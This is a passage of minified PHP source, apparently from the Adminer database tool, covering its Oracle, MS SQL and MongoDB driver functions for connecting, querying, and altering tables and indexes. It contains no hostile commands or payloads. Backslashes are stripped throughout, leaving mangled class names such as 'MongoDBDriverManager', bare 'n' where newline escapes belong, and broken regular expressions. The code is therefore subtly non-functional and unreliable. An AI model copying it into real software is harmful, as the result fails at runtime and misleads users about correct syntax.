get_schema(){global$g;return$g->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($dh,$h=null){global$g;if(!$h)$h=$g;return$h->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($dh));}function
show_variables(){return
get_key_vals('SELECT name, display_value FROM v$parameter');}function
process_list(){return
get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = 'USER'
ORDER BY PROCESS
');}function
show_status(){$K=get_rows('SELECT * FROM v$instance');return
reset($K);}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
support($Vc){return
preg_match('~^(columns|database|drop_col|indexes|descidx|processlist|scheme|sql|status|table|variables|view)$~',$Vc);}function
driver_config(){$U=array();$Jh=array();foreach(array(lang(27)=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),lang(28)=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),lang(25)=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),lang(29)=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$z=>$X){$U+=$X;$Jh[$z]=array_keys($X);}return
array('possible_drivers'=>array("OCI8","PDO_OCI"),'jush'=>"oracle",'types'=>$U,'structured_types'=>$Jh,'unsigned'=>array(),'operators'=>array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL"),'functions'=>array("length","lower","round","upper"),'grouping'=>array("avg","count","count distinct","max","min","sum"),'edit_functions'=>array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",)),);}}$kc["mssql"]="MS SQL (beta)";if(isset($_GET["mssql"])){define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class
Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_get_error(){$this->error="";foreach(sqlsrv_errors()as$n){$this->errno=$n["code"];$this->error.="$n[message]n";}$this->error=rtrim($this->error);}function
connect($M,$V,$F){global$b;$l=$b->database();$_b=array("UID"=>$V,"PWD"=>$F,"CharacterSet"=>"UTF-8");if($l!="")$_b["Database"]=$l;$this->_link=@sqlsrv_connect(preg_replace('~:~',',',$M),$_b);if($this->_link){$Td=sqlsrv_server_info($this->_link);$this->server_info=$Td['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($j){return$this->query("USE ".idf_escape($j));}function
query($G,$Ei=false){$H=sqlsrv_query($this->_link,$G);$this->error="";if(!$H){$this->_get_error();return
false;}return$this->store_result($H);}function
multi_query($G){$this->_result=sqlsrv_query($this->_link,$G);$this->error="";if(!$this->_result){$this->_get_error();return
false;}return
true;}function
store_result($H=null){if(!$H)$H=$this->_result;if(!$H)return
false;if(sqlsrv_field_metadata($H))return
new
Min_Result($H);$this->affected_rows=sqlsrv_rows_affected($H);return
true;}function
next_result(){return$this->_result?sqlsrv_next_result($this->_result):null;}function
result($G,$o=0){$H=$this->query($G);if(!is_object($H))return
false;$J=$H->fetch_row();return$J[$o];}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($H){$this->_result=$H;}function
_convert($J){foreach((array)$J
as$z=>$X){if(is_a($X,'DateTime'))$J[$z]=$X->format("Y-m-d H:i:s");}return$J;}function
fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC));}function
fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC));}function
fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$o=$this->_fields[$this->_offset++];$I=new
stdClass;$I->name=$o["Name"];$I->orgname=$o["Name"];$I->type=($o["Type"]==1?254:0);return$I;}function
seek($kf){for($t=0;$t<$kf;$t++)sqlsrv_fetch($this->_result);}function
__destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class
Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function
connect($M,$V,$F){$this->_link=@mssql_connect($M,$V,$F);if($this->_link){$H=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");if($H){$J=$H->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$J[0]] $J[1]";}}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($j){return
mssql_select_db($j);}function
query($G,$Ei=false){$H=@mssql_query($G,$this->_link);$this->error="";if(!$H){$this->error=mssql_get_last_message();return
false;}if($H===true){$this->affected_rows=mssql_rows_affected($this->_link);return
true;}return
new
Min_Result($H);}function
multi_query($G){return$this->_result=$this->query($G);}function
store_result(){return$this->_result;}function
next_result(){return
mssql_next_result($this->_result->_result);}function
result($G,$o=0){$H=$this->query($G);if(!is_object($H))return
false;return
mssql_result($H->_result,0,$o);}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($H){$this->_result=$H;$this->num_rows=mssql_num_rows($H);}function
fetch_assoc(){return
mssql_fetch_assoc($this->_result);}function
fetch_row(){return
mssql_fetch_row($this->_result);}function
num_rows(){return
mssql_num_rows($this->_result);}function
fetch_field(){$I=mssql_fetch_field($this->_result);$I->orgtable=$I->table;$I->orgname=$I->name;return$I;}function
seek($kf){mssql_data_seek($this->_result,$kf);}function
__destruct(){mssql_free_result($this->_result);}}}elseif(extension_loaded("pdo_dblib")){class
Min_DB
extends
Min_PDO{var$extension="PDO_DBLIB";function
connect($M,$V,$F){$this->dsn("dblib:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(d)~',';port=1',$M)),$V,$F);return
true;}function
select_db($j){return$this->query("USE ".idf_escape($j));}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$K,$ng){foreach($K
as$N){$Li=array();$Z=array();foreach($N
as$z=>$X){$Li[]="$z = $X";if(isset($ng[idf_unescape($z)]))$Z[]="$z = $X";}if(!queries("MERGE ".table($Q)." USING (VALUES(".implode(", ",$N).")) AS source (c".implode(", c",range(1,count($N))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$Li)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($N)).") VALUES (".implode(", ",$N).");"))return
false;}return
true;}function
begin(){return
queries("BEGIN TRANSACTION");}}function
idf_escape($v){return"[".str_replace("]","]]",$v)."]";}function
table($v){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($v);}function
connect(){global$b;$g=new
Min_DB;$Mb=$b->credentials();if($g->connect($Mb[0],$Mb[1],$Mb[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb')");}function
limit($G,$Z,$_,$kf=0,$kh=" "){return($_!==null?" TOP (".($_+$kf).")":"")." $G$Z";}function
limit1($Q,$G,$Z,$kh="n"){return
limit($G,$Z,1,0,$kh);}function
db_collation($l,$nb){global$g;return$g->result("SELECT collation_name FROM sys.databases WHERE name = ".q($l));}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($k){global$g;$I=array();foreach($k
as$l){$g->select_db($l);$I[$l]=$g->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$I;}function
table_status($D=""){$I=array();foreach(get_rows("SELECT ao.name AS Name, ao.type_desc AS Engine, (SELECT value FROM fn_listextendedproperty(default, 'SCHEMA', schema_name(schema_id), 'TABLE', ao.name, null, null)) AS Comment FROM sys.all_objects AS ao WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($D!=""?"AND name = ".q($D):"ORDER BY name"))as$J){if($D!="")return$J;$I[$J["Name"]]=$J;}return$I;}function
is_view($R){return$R["Engine"]=="VIEW";}function
fk_support($R){return
true;}function
fields($Q){$vb=get_key_vals("SELECT objname, cast(value as varchar(max)) FROM fn_listextendedproperty('MS_DESCRIPTION', 'schema', ".q(get_schema()).", 'table', ".q($Q).", 'column', NULL)");$I=array();foreach(get_rows("SELECT c.max_length, c.precision, c.scale, c.name, c.is_nullable, c.is_identity, c.collation_name, t.name type, CAST(d.definition as text) [default]
FROM sys.all_columns c
JOIN sys.all_objects o ON c.object_id = o.object_id
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id
WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($Q))as$J){$T=$J["type"];$we=(preg_match("~char|binary~",$T)?$J["max_length"]:($T=="decimal"?"$J[precision],$J[scale]":""));$I[$J["name"]]=array("field"=>$J["name"],"full_type"=>$T.($we?"($we)":""),"type"=>$T,"length"=>$we,"default"=>$J["default"],"null"=>$J["is_nullable"],"auto_increment"=>$J["is_identity"],"collation"=>$J["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$J["is_identity"],"comment"=>$vb[$J["name"]],);}return$I;}function
indexes($Q,$h=null){$I=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($Q),$h)as$J){$D=$J["name"];$I[$D]["type"]=($J["is_primary_key"]?"PRIMARY":($J["is_unique"]?"UNIQUE":"INDEX"));$I[$D]["lengths"]=array();$I[$D]["columns"][$J["key_ordinal"]]=$J["column_name"];$I[$D]["descs"][$J["key_ordinal"]]=($J["is_descending_key"]?'1':null);}return$I;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^[]|[[^]]*])*s+ASs+~isU','',$g->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($D))));}function
collations(){$I=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$mb)$I[preg_replace('~_.*~','',$mb)][]=$mb;return$I;}function
information_schema($l){return
false;}function
error(){global$g;return
nl_br(h(preg_replace('~^([[^]]*])+~m','',$g->error)));}function
create_database($l,$mb){return
queries("CREATE DATABASE ".idf_escape($l).(preg_match('~^[a-z0-9_]+$~i',$mb)?" COLLATE $mb":""));}function
drop_databases($k){return
queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$k)));}function
rename_database($D,$mb){if(preg_match('~^[a-z0-9_]+$~i',$mb))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $mb");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($D));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){$c=array();$vb=array();foreach($p
as$o){$d=idf_escape($o[0]);$X=$o[1];if(!$X)$c["DROP"][]=" COLUMN $d";else{$X[1]=preg_replace("~( COLLATE )'(\w+)'~",'12',$X[1]);$vb[$o[0]]=$X[5];unset($X[5]);if($o[0]=="")$c["ADD"][]="n  ".implode("",$X).($Q==""?substr($hd[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($d!=$X[0])queries("EXEC sp_rename ".q(table($Q).".$d").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($Q=="")return
queries("CREATE TABLE ".table($D)." (".implode(",",(array)$c["ADD"])."n)");if($Q!=$D)queries("EXEC sp_rename ".q(table($Q)).", ".q($D));if($hd)$c[""]=$hd;foreach($c
as$z=>$X){if(!queries("ALTER TABLE ".idf_escape($D)." $z".implode(",",$X)))return
false;}foreach($vb
as$z=>$X){$tb=substr($X,9);queries("EXEC sp_dropextendedproperty @name = N'MS_Description', @level0type = N'Schema', @level0name = ".q(get_schema()).", @level1type = N'Table', @level1name = ".q($D).", @level2type = N'Column', @level2name = ".q($z));queries("EXEC sp_addextendedproperty @name = N'MS_Description', @value = ".$tb.", @level0type = N'Schema', @level0name = ".q(get_schema()).", @level1type = N'Table', @level1name = ".q($D).", @level2type = N'Column', @level2name = ".q($z));}return
true;}function
alter_indexes($Q,$c){$w=array();$lc=array();foreach($c
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$lc[]=idf_escape($X[1]);else$w[]=idf_escape($X[1])." ON ".table($Q);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q):"ALTER TABLE ".table($Q)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$w||queries("DROP INDEX ".implode(", ",$w)))&&(!$lc||queries("ALTER TABLE ".table($Q)." DROP ".implode(", ",$lc)));}function
last_id(){global$g;return$g->result("SELECT SCOPE_IDENTITY()");}function
explain($g,$G){$g->query("SET SHOWPLAN_ALL ON");$I=$g->query($G);$g->query("SET SHOWPLAN_ALL OFF");return$I;}function
found_rows($R,$Z){}function
foreign_keys($Q){$I=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($Q))as$J){$r=&$I[$J["FK_NAME"]];$r["db"]=$J["PKTABLE_QUALIFIER"];$r["table"]=$J["PKTABLE_NAME"];$r["source"][]=$J["FKCOLUMN_NAME"];$r["target"][]=$J["PKCOLUMN_NAME"];}return$I;}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($bj){return
queries("DROP VIEW ".implode(", ",array_map('table',$bj)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$bj,$Zh){return
apply_queries("ALTER SCHEMA ".idf_escape($Zh)." TRANSFER",array_merge($S,$bj));}function
trigger($D){if($D=="")return
array();$K=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($D));$I=reset($K);if($I)$I["Statement"]=preg_replace('~^.+s+ASs+~isU','',$I["text"]);return$I;}function
triggers($Q){$I=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($Q))as$J)$I[$J["name"]]=array($J["Timing"],$J["Event"]);return$I;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){global$g;if($_GET["ns"]!="")return$_GET["ns"];return$g->result("SELECT SCHEMA_NAME()");}function
set_schema($ch){return
true;}function
use_sql($j){return"USE ".idf_escape($j);}function
show_variables(){return
array();}function
show_status(){return
array();}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
support($Vc){return
preg_match('~^(comment|columns|database|drop_col|indexes|descidx|scheme|sql|table|trigger|view|view_trigger)$~',$Vc);}function
driver_config(){$U=array();$Jh=array();foreach(array(lang(27)=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),lang(28)=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),lang(25)=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),lang(29)=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$z=>$X){$U+=$X;$Jh[$z]=array_keys($X);}return
array('possible_drivers'=>array("SQLSRV","MSSQL","PDO_DBLIB"),'jush'=>"mssql",'types'=>$U,'structured_types'=>$Jh,'unsigned'=>array(),'operators'=>array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL"),'functions'=>array("len","lower","round","upper"),'grouping'=>array("avg","count","count distinct","max","min","sum"),'edit_functions'=>array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",)),);}}$kc["mongo"]="MongoDB (alpha)";if(isset($_GET["mongo"])){define("DRIVER","mongo");if(class_exists('MongoDB')){class
Min_DB{var$extension="Mongo",$server_info=MongoClient::VERSION,$error,$last_id,$_link,$_db;function
connect($Mi,$_f){try{$this->_link=new
MongoClient($Mi,$_f);if($_f["password"]!=""){$_f["password"]="";try{new
MongoClient($Mi,$_f);$this->error=lang(22);}catch(Exception$rc){}}}catch(Exception$rc){$this->error=$rc->getMessage();}}function
query($G){return
false;}function
select_db($j){try{$this->_db=$this->_link->selectDB($j);return
true;}catch(Exception$Hc){$this->error=$Hc->getMessage();return
false;}}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($H){foreach($H
as$fe){$J=array();foreach($fe
as$z=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$z]=63;$J[$z]=(is_a($X,'MongoId')?"ObjectId("$X")":(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?"$X":(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$J;foreach($J
as$z=>$X){if(!isset($this->_rows[0][$z]))$this->_rows[0][$z]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$J=current($this->_rows);if(!$J)return$J;$I=array();foreach($this->_rows[0]as$z=>$X)$I[$z]=$J[$z];next($this->_rows);return$I;}function
fetch_row(){$I=$this->fetch_assoc();if(!$I)return$I;return
array_values($I);}function
fetch_field(){$je=array_keys($this->_rows[0]);$D=$je[$this->_offset++];return(object)array('name'=>$D,'charsetnr'=>$this->_charset[$D],);}}class
Min_Driver
extends
Min_SQL{public$ng="_id";function
select($Q,$L,$Z,$sd,$Bf=array(),$_=1,$E=0,$pg=false){$L=($L==array("*")?array():array_fill_keys($L,true));$xh=array();foreach($Bf
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Ib);$xh[$X]=($Ib?-1:1);}return
new
Min_Result($this->_conn->_db->selectCollection($Q)->find(array(),$L)->sort($xh)->limit($_!=""?+$_:0)->skip($E*$_));}function
insert($Q,$N){try{$I=$this->_conn->_db->selectCollection($Q)->insert($N);$this->_conn->errno=$I['code'];$this->_conn->error=$I['err'];$this->_conn->last_id=$N['_id'];return!$I['err'];}catch(Exception$Hc){$this->_conn->error=$Hc->getMessage();return
false;}}}function
get_databases($fd){global$g;$I=array();$Wb=$g->_link->listDBs();foreach($Wb['databases']as$l)$I[]=$l['name'];return$I;}function
count_tables($k){global$g;$I=array();foreach($k
as$l)$I[$l]=count($g->_link->selectDB($l)->getCollectionNames(true));return$I;}function
tables_list(){global$g;return
array_fill_keys($g->_db->getCollectionNames(true),'table');}function
drop_databases($k){global$g;foreach($k
as$l){$Og=$g->_link->selectDB($l)->drop();if(!$Og['ok'])return
false;}return
true;}function
indexes($Q,$h=null){global$g;$I=array();foreach($g->_db->selectCollection($Q)->getIndexInfo()as$w){$ec=array();foreach($w["key"]as$d=>$T)$ec[]=($T==-1?'1':null);$I[$w["name"]]=array("type"=>($w["name"]=="_id_"?"PRIMARY":($w["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($w["key"]),"lengths"=>array(),"descs"=>$ec,);}return$I;}function
fields($Q){return
fields_from_edit();}function
found_rows($R,$Z){global$g;return$g->_db->selectCollection($_GET["select"])->count($Z);}$xf=array("=");}elseif(class_exists('MongoDBDriverManager')){class
Min_DB{var$extension="MongoDB",$server_info=MONGODB_VERSION,$affected_rows,$error,$last_id;var$_link;var$_db,$_db_name;function
connect($Mi,$_f){$hb='MongoDBDriverManager';$this->_link=new$hb($Mi,$_f);$this->executeCommand('admin',array('ping'=>1));}function
executeCommand($l,$rb){$hb='MongoDBDriverCommand';try{return$this->_link->executeCommand($l,new$hb($rb));}catch(Exception$rc){$this->error=$rc->getMessage();return
array();}}function
executeBulkWrite($Ze,$Xa,$Jb){try{$Rg=$this->_link->executeBulkWrite($Ze,$Xa);$this->affected_rows=$Rg->$Jb();return
true;}catch(Exception$rc){$this->error=$rc->getMessage();return
false;}}function
query($G){return
false;}function
select_db($j){$this->_db_name=$j;return
true;}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($H){foreach($H
as$fe){$J=array();foreach($fe
as$z=>$X){if(is_a($X,'MongoDBBSONBinary'))$this->_charset[$z]=63;$J[$z]=(is_a($X,'MongoDBBSONObjectID')?'MongoDBBSONObjectID("'."$X")":(is_a($X,'MongoDBBSONUTCDatetime')?$X->toDateTime()->format('Y-m-d H:i:s'):(is_a($X,'MongoDBBSONBinary')?$X->getData():(is_a($X,'MongoDBBSONRegex')?"$X":(is_object($X)||is_array($X)?json_encode($X,256):$X)))));}$this->_rows[]=$J;foreach($J
as$z=>$X){if(!isset($this->_rows[0][$z]))$this->_rows[0][$z]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$J=current($this->_rows);if(!$J)return$J;$I=array();foreach($this->_rows[0]as$z=>$X)$I[$z]=$J[$z];next($this->_rows);return$I;}function
fetch_row(){$I=$this->fetch_assoc();if(!$I)return$I;return
array_values($I);}function
fetch_field(){$je=array_keys($this->_rows[0]);$D=$je[$this->_offset++];return(object)array('name'=>$D,'charsetnr'=>$this->_charset[$D],);}}class
Min_Driver
extends
Min_SQL{public$ng="_id";function
select($Q,$L,$Z,$sd,$Bf=array(),$_=1,$E=0,$pg=false){global$g;$L=($L==array("*")?array():array_fill_keys($L,1));if(count($L)&&!isset($L['_id']))$L['_id']=0;$Z=where_to_query($Z);$xh=array();foreach($Bf
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Ib);$xh[$X]=($Ib?-1:1);}if(isset($_GET['limit'])&&is_numeric($_GET['limit'])&&$_GET['limit']>0)$_=$_GET['limit'];$_=min(200,max(1,(int)$_));$uh=$E*$_;$hb='MongoDBDriverQuery';try{return
new
Min_Result($g->_link->executeQuery("$g->_db_name.$Q",new$hb($Z,array('projection'=>$L,'limit'=>$_,'skip'=>$uh,'sort'=>$xh))));}catch(Exception$rc){$g->error=$rc->getMessage();return
false;}}function
update($Q,$N,$zg,$_=0,$kh="n"){global$g;$l=$g->_db_name;$Z=sql_query_where_parser($zg);$hb='MongoDBDriverBulkWrite';$Xa=new$hb(array());if(isset($N['_id']))unset($N['_id']);$Lg=array();foreach($N
as$z=>$Y){if($Y=='NULL'){$Lg[$z]=1;unset($N[$z]);}}$Li=array('$set'=>$N);if(count($Lg))$Li['$unset']=$Lg;$Xa->update($Z,$Li,array('upsert'=>false));return$g->executeBulkWrite("$l.$Q",$Xa,'getModifiedCount');}function
delete($Q,$zg,$_=0){global$g;$l=$g->_db_name;$Z=sql_query_where_parser($zg);$hb='MongoDBDriverBulkWrite';$Xa=new$hb(array());$Xa->delete($Z,array('limit'=>$_));return$g->executeBulkWrite("$l.$Q",$Xa,'getDeletedCount');}function
insert($Q,$N){global$g;$l=$g->_db_name;$hb='MongoDBDriverBulkWrite';$Xa=new$hb(array());if($N['_id']=='')unset($N['_id']);$Xa->insert($N);return$g->executeBulkWrite("$l.$Q",$Xa,'getInsertedCount');}}function
get_databases($fd){global$g;$I=array();foreach($g->executeCommand('admin',array('listDatabases'=>1))as$Wb){foreach($Wb->databases
as$l)$I[]=$l->name;}return$I;}function
count_tables($k){$I=array();return$I;}function
tables_list(){global$g;$ob=array();foreach($g->executeCommand($g->_db_name,array('listCollections'=>1))as$H)$ob[$H->name]='table';return$ob;}function
drop_databases($k){return
false;}function
indexes($Q,$h=null){global$g;$I=array();foreach($g->executeCommand($g->_db_name,array('listIndexes'=>$Q))as$w){$ec=array();$e=array();foreach(get_object_vars($w->key)as$d=>$T){$ec[]=($T==-1?'1':null);$e[]=$d;}$I[$w->name]=array("type"=>($w->name=="_id_"?"PRIMARY":(isset($w->unique)?"UNIQUE":"INDEX")),"columns"=>$e,"lengths"=>array(),"descs"=>$ec,);}return$I;}function
fields($Q){global$m;$p=fields_from_edit();if(!$p){$H=$m->select($Q,array("*"),null,null,array(),10);if($H){while($J=$H->fetch_assoc()){foreach($J
as$z=>$X){$J[$z]=null;$p[$z]=array("field"=>$z,"type"=>"string","null"=>($z!=$m->primary),"auto_increment"=>($z==$m->primary),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1,),);}}}}return$p;}function
found_rows($R,$Z){global$g;$Z=where_to_query($Z);$pi=$g->executeCommand($g->_db_name,array('count'=>$R['Name'],'query'=>$Z))->toArray();return$pi[0]->n;}function
sql_query_where_parser($zg){$zg=preg_replace('~^sWHERE (?(?(.+?))?)?$~','1',$zg);$lj=explode(' AND ',$zg);$mj=explode(') OR (',$zg);$Z=array();foreach($lj
as$jj)$Z[]=trim($jj);if(count($mj)==1)$mj=array();elseif(count($mj)>1)$Z=array();return
where_to_query($Z,$mj);}function
where_to_query($hj=array(),$ij=array()){global$b;$Rb=array();foreach(array('and'=>$hj,'or'=>$ij)as$T=>$Z){if(is_array($Z)){foreach($Z
as$Nc){list($kb,$vf,$X)=explode(" ",$Nc,3);if($kb=="_id"&&preg_match('~^(MongoDB\\BSON\\ObjectID)("(.+)")$~',$X,$C)){list(,$hb,$X)=$C;$X=new$hb($X);}if(!in_array($vf,$b->operators))continue;if(preg_match('~^(f)(.+)~',$vf,$C)){$X=(float)$X;$vf=$C[1];}elseif(preg_match('~^(date)(.+)~',$vf,$C)){$Tb=new
DateTime($X);$hb='MongoDBBSONUTCDatetime';$X=new$hb($Tb->getTimestamp()*1000);$vf=$C[1];}switch($vf){case'=':$vf='$eq';break;case'!=':$vf='$ne';break;case'>':$vf='$gt';break;case'<':$vf='$lt';break;case'>=':$vf='$gte';break;case'<=':$vf='$lte';break;case'regex':$vf='$regex';break;default:continue
2;}if($T=='and')$Rb['$and'][]=array($kb=>array($vf=>$X));elseif($T=='or')$Rb['$or'][]=array($kb=>array($vf=>$X));}}}return$Rb;}$xf=array("=","!=",">","<",">=","<=","regex","(f)=","(f)!=","(f)>","(f)<","(f)>=","(f)<=","(date)=","(date)!=","(date)>","(date)<","(date)>=","(date)<=",);}function
table($v){return$v;}function
idf_escape($v){return$v;}function
table_status($D="",$Uc=false){$I=array();foreach(tables_list()as$Q=>$T){$I[$Q]=array("Name"=>$Q);if($D==$Q)return$I[$Q];}return$I;}function
create_database($l,$mb){return
true;}function
last_id(){global$g;return$g->last_id;}function
error(){global$g;return
h($g->error);}function
collations(){return
array();}function
logged_user(){global$b;$Mb=$b->credentials();return$Mb[1];}function
connect(){global$b;$g=new
Min_DB;list($M,$V,$F)=$b->credentials();$_f=array();if($V.$F!=""){$_f["username"]=$V;$_f["password"]=$F;}$l=$b->database();if($l!="")$_f["db"]=$l;if(($Ka=getenv("MONGO_AUTH_SOURCE")))$_f["authSource"]=$Ka;$g->connect("mongodb://$M",$_f);if($g->error)return$g->error;return$g;}function
alter_indexes($Q,$c){global$g;foreach($c
as$X){list($T,$D,$N)=$X;if($N=="DROP")$I=$g->_db->command(array("deleteIndexes"=>$Q,"index"=>$D));else{$e=array();foreach($N
as$d){$d=preg_replace('~ DESC$~','',$d,1,$Ib);$e[$d]=($Ib?-1:1);}$I=$g->_db->selectCollection($Q)->ensureIndex($e,array("unique"=>($T=="UNIQUE"),"name"=>$D,));}if($I['errmsg']){$g->error=$I['errmsg'];return
false;}}return
true;}function
support($Vc){return
preg_match("~database|indexes|descidx~",$Vc);}function
db_collation($l,$nb){}function
information_schema(){}function
is_view($R){}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
foreign_keys($Q){return
array();}function
fk_support($R){}function
engines(){return
array();}function
